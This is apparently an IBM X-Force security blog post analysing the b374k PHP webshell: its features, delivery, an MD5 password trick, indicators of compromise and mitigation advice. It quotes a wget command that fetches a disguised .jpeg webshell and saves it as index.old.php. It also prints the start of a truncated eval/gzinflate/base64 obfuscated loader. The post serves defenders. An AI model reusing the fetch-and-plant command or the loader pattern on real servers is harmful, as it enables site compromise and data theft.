The IBM X-Force Research team reported an increase in PHP C99 webshell attacks in April 2016. More recently, webshells dubbed b374k made their mark with attacks that the team has been tracking over the past few months.

Although this blog highlights some features of the b374k shell, the main objective is to call your attention to the fact that PHP applications are becoming an increasingly popular choice for attackers aiming to glean your data and deface your website without much hard work. This threat should be pushed to the top of your priority list — primarily because of the power of the tool used for this type of attack, but also because of the startling increase in this attack type this year.

The Basics of PHP Shells

Open-source PHP shells are common and can be downloaded from many openware distributors. PHP shells are useful tools for system or web administrators to perform remote management without using cPanel or Plesk, two of the biggest commercially available web administrative tools. These typically run as stand-alone applications.

With PHP shells, all management activities take place within a web browser by simply pushing the core PHP code to the webserver’s HTML directory and calling it in a URL. This seems like an easy solution without having to add another application to perform management. The main dilemma is that anyone can modify the PHP code and add extra features.

Let’s take a look at the full feature list of this particular webshell, b374k. It includes:

• File manager (view, edit, rename, delete, upload, download, archiver, etc.);
• Search capabilities for file, file content and folder;
• Command execution;
• Script execution;
• Shell via bind and reverse shell connect;
• Simple packet crafter;
• Connect to DBMS;
• SQL Explorer;
• Process list and task manager;
• Send mail with attachments or attach a local file from the server;
• String conversion and sanitization;
• Storage for all these features in only one file with no installation needed; and
• Support for PHP 4.3.3 and PHP 5, meaning over 98 percent of sites using PHP. That’s significant since over 82 percent of sites overall use PHP.

This webshell essentially enables one-stop shopping for an attacker. It allows actors to:

• Harvest and exfiltrate sensitive data and credentials.
• Upload additional malware to create a watering hole and infect additional victims.
• Use it as a relay point to issue commands to hosts inside the network that don’t have direct internet access, or to proxy other attacks to hide their origins.

• Use as botnet command-and-control infrastructure or to support the compromise of additional external networks.
• Maintain long-term persistence.

Let’s take a quick look at the interface. The screenshot below shows a dump of the root directory contents of a research sandbox that the research team planted the webshell script upon and called through Chrome.

Delivery Method

In the cases we researched, the shell command injection attack contains an instruction to retrieve an image file, save it to filename index.old.php, and set the permissions to read and execute:

wget http://www.victim.com/plugins/system/legacy/naf.php.jpeg -o index.old.php; chmod -r 555

This won’t overwrite the base index.php file and cause immediate alarm. In many cases, administrators will rename their current index.php files to .old for backup purposes after they modify the main file. This file can be called from the attacker’s browser once it is planted.

Contents of the .JPEG File

In this example, the webshell is disguised as an image file. It is encoded, compressed and then passed to the eval function:

/*

In7ect0r

*/

@eval(gzinflate(base64_decode(‘FJ23ctzYFkV/ZYKpmgABvAteAO9do2EzeO89vv41FUhVYpEN3HvP3mtRYOvf8uj7Iama7J///fMfw0oMOVLQmBUHBllBdmQqzIPdpPAHW5UQP3lStxP6L … [sample truncated purposely]

Upon decoding, the full script appears. After execution of the PHP script in a lab environment, it becomes clear that a password is necessary to connect, but is not included in the script. There is also a line that refers to an MD5 hash that is not similar to the MD5 of the file.

$GLOBALS = "<em>e1f53038b408f7ae47d8aba6770b1910</em>"; // sha1(md5)


Decoding the MD5 revealed the following:

Now we can gain access to the full features of this webshell.

Attack Entry Points

There are many ways webshells can be installed on your enterprise web server. US-CERT listed several, including:

• Cross-site scripting;
• SQL injection;
• Vulnerabilities in applications/services (e.g., WordPress or other CMS applications);
• File processing vulnerabilities (upload filtering or assigned permissions);
• Remote file include (RFI) and local file include (LFI) vulnerabilities; and
• Exposed admin interfaces.

We detect webshell attacks via our command injection rules within our security information and event management (SIEM) environment. It is easy to see the webshell attempt using this ruleset since the instructions to retrieve the malicious file will most always be present within the event context.

IBM Managed Security Services data from Jan. 1, 2016, through June 30, 2016, revealed that webshell attacks comprised about 15 percent of the total number of command injection attacks. This might not seem like much, but we don’t normally see one single attack type show up with this kind of persistence for long periods.

As of this writing, according to VirusTotal, only seven out of 52 antivirus solutions detect this particular webshell even though it contains clear backdoor functions.

Indicators of Compromise

MD5: 7bfc8047de5babe0d488792851c0a04c

SHA1: b24b9895ecd48430a0aeef09579f437e0622347e

SHA256: faa2d51bc067a46cfc7c357cf930ae9d7b748dcf79190e65ccf4ad5013c38045

ssdeep: 3072:GqNXqNNkn7V2bLUooHqExUyMOKxk3EunktNBfzbxNF3KPSf2wxOzYP350IZRZb5K:9NXqNNBQooHqExUyMOKxk3EunkVzbxN4

File Size: 126.0 KB (129,033 bytes)

Webshell Mitigation Techniques

Prevention goes a long way toward limiting the risk of exposure to webshell attacks. The following recommendations can help keep malicious webshells out of your environment.

• Edit your php.ini file to disallow base64_decode functionality. Find the line that states disable_functions = and change it to disable_functions = eval, base64_decode, gzinflate.
• Change all CMS defaults to customize your install as much as possible. One of the most important defaults to change is the name of your uploads folder. If you leave this folder as the default, an attacker with limited knowledge can guess the file path.
• Install a good security plugin such as Wordfence for WordPress or jHackGuard for Joomla. Check your CMS vendor for security plugin availability.
• Use a CMS security scanner such as the Acunetix Web Vulnerability Scanner or WordPress Security Scanner to test for vulnerabilities of an installation.
• Scan all files during attachment uploading with ModSecurity, which is an open-source web application firewall (WAF). Attackers can take advantage of your excluded content to hide their code. It is no longer feasible to exclude certain file types such as .jpg and .gif from your scans since they have been known to contain malicious PHP code within image headers.
• Identify suspicious files in internet-accessible locations such as the root directory of your website.
• Identify files that contain references to suspicious keywords such as cmd.exe or eval.
• Identify files with an unusual time stamp (e.g., more recent than the last update of the web applications installed).
• Look for abnormal periods of high usage.
• If your website becomes compromised, assume that all connected data and technology such as databases, files, services such as FTP and SSH, TLS/SSL certificates, and routers or firewalls are also compromised. Customer credentials are probably compromised; you must advise your customers to update their passwords, change all your internal account credentials and perform a forensics investigation.
• Use security intelligence platforms to monitor for increases in webshell activity.
• Incorporate endpoint security protection and detection into your environment.
• Make securing your data a top priority.